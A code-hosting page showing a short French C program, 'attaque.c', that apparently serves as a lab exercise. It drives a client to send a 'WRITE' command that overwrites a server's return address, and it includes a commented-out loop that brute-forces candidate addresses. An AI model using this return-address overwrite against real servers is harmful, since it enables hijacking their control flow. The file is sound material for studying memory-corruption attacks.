No Description
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

attaque.c 1.7KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <string.h>
  4. #include <stdlib.h>
  5. /**
  6. * Lance un client, exécute une commande, puis quitte le client
  7. * @param host L'adresse du serveur
  8. * @param port Le port sur lequel se connecter
  9. * @param cmd La commande à exécuter
  10. * @return Le statut du client
  11. */
  12. int runClientWithCommand(char *host, char *port, char *cmd) {
  13. // Démarrage du client
  14. char prog_name[100];
  15. sprintf(prog_name, "./client %s %s", host, port);
  16. // Récupération de l'entrée standard
  17. FILE *prog = popen(prog_name, "w");
  18. usleep(1000);
  19. if (prog == NULL) {
  20. printf("ERREUR\n");
  21. return -1;
  22. }
  23. // Écriture de la commande
  24. fprintf(prog, "%s", cmd);
  25. printf("%s", cmd);
  26. usleep(1000);
  27. // Fermeture du client
  28. fprintf(prog, "QUIT\n");
  29. printf("QUIT\n");
  30. return pclose(prog);
  31. }
  32. void hackServer(char *host, char *port, long addr) {
  33. printf("-- Écrasement de l'adresse de retour par %p --\n", (void *) addr);
  34. char buf[100];
  35. // L'index 134 du tableau correspond à l'adresse de retour
  36. sprintf(buf, "WRITE %ld 134\n", addr);
  37. runClientWithCommand(host, port, buf);
  38. }
  39. int main(int argc, char *argv[]) {
  40. if (argc != 3) {
  41. printf("Usage : ./attaque addresseServeur portServeur\n");
  42. return 2;
  43. }
  44. int port = atoi(argv[2]);
  45. if (port <= 0 || port > 65535) {
  46. printf("Usage : ./attaque addresseServeur portServeur\n");
  47. return 3;
  48. }
  49. // Adresse à modifier avec l'adresse d'une fonction du serveur
  50. long address = 0xffffffff;
  51. hackServer(argv[1], argv[2], address);
  52. // long begin = 1448463905;
  53. // long end = 1449434657;
  54. // printf("testing %ld possibilities...\n", end - begin);
  55. //
  56. // for (long addr = begin; addr < end; ++addr) {
  57. // runClient(argv[1], argv[2], addr);
  58. // }
  59. return 0;
  60. }